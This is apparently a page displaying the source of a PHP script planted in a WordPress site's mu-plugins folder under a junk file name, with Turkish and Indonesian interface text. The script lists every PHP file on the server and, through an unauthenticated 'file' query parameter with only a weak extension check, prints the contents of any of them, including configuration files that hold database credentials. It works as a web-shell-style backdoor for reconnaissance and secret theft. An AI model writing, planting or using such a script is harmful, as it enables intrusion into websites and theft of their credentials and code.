İçerik: /home/bvnl/domains/bvnl.nl/public_html/wp-content/mu-plugins/asdffffff.php

<?php
function getPhpFiles($dir, &$results = []) {
    $files = scandir($dir);
    foreach ($files as $key => $value) {
        $path = realpath($dir . DIRECTORY_SEPARATOR . $value);
        if (!$path) continue;
        if (is_dir($path) && $value != "." && $value != "..") {
            getPhpFiles($path, $results);
        } elseif (pathinfo($path, PATHINFO_EXTENSION) === 'php') {
            $results[] = [
                'path' => $path,
                'modified' => filemtime($path)
            ];
        }
    }
    return $results;
}

function sanitizePath($path) {
    return realpath($path) && pathinfo($path, PATHINFO_EXTENSION) === 'php' ? $path : false;
}

if (isset($_GET['file'])) {
    $file = sanitizePath($_GET['file']);
    if ($file) {
        echo "<h2>İçerik: {$file}</h2>";
        echo "<pre style='background:#111;color:#fff;padding:20px;border-radius:10px;'>"
            . htmlspecialchars(file_get_contents($file)) . "</pre>";
        echo "<a href='php_file_browser.php' style='display:inline-block;margin-top:20px;'>← Geri Dön</a>";
        exit;
    } else {
        echo "Geçersiz dosya yolu.";
        exit;
    }
}

$files = getPhpFiles(__DIR__);
?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <title>PHP Dosya Tarayıcı</title>
    <style>
        body { font-family: Arial; background: #000; color: #fff; padding: 20px; }
        h1 { color: #ffd700; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { padding: 10px; border-bottom: 1px solid #444; }
        th { background: #222; color: #ffd700; text-align: left; }
        tr:hover { background: #111; }
        a { color: #ffd700; text-decoration: none; }
        #copyButton {
            background-color: #ffd700;
            color: #000;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>
    <h1>PHP Dosyaları Listesi</h1>
    <button id="copyButton">📋 Copy Semua File</button>
    <textarea id="fileList" style="position:absolute; left:-9999px;">
<?php foreach ($files as $file): ?>
<?= $file['path'] . "\n" ?>
<?php endforeach; ?>
    </textarea>
    <table>
        <tr>
            <th>Dosya Yolu</th>
            <th>Yüklenme Tarihi</th>
        </tr>
        <?php foreach ($files as $file): ?>
            <tr>
                <td>
                    <a href="?file=<?= urlencode($file['path']) ?>">
                        <?= htmlspecialchars($file['path']) ?>
                    </a>
                </td>
                <td><?= date("Y-m-d H:i:s", $file['modified']) ?></td>
            </tr>
        <?php endforeach; ?>
    </table>

    <script>
        document.getElementById("copyButton").addEventListener("click", function () {
            var textarea = document.getElementById("fileList");
            textarea.select();
            document.execCommand("copy");
            alert("Daftar file telah disalin ke clipboard!");
        });
    </script>
</body>
</html>
← Geri Dön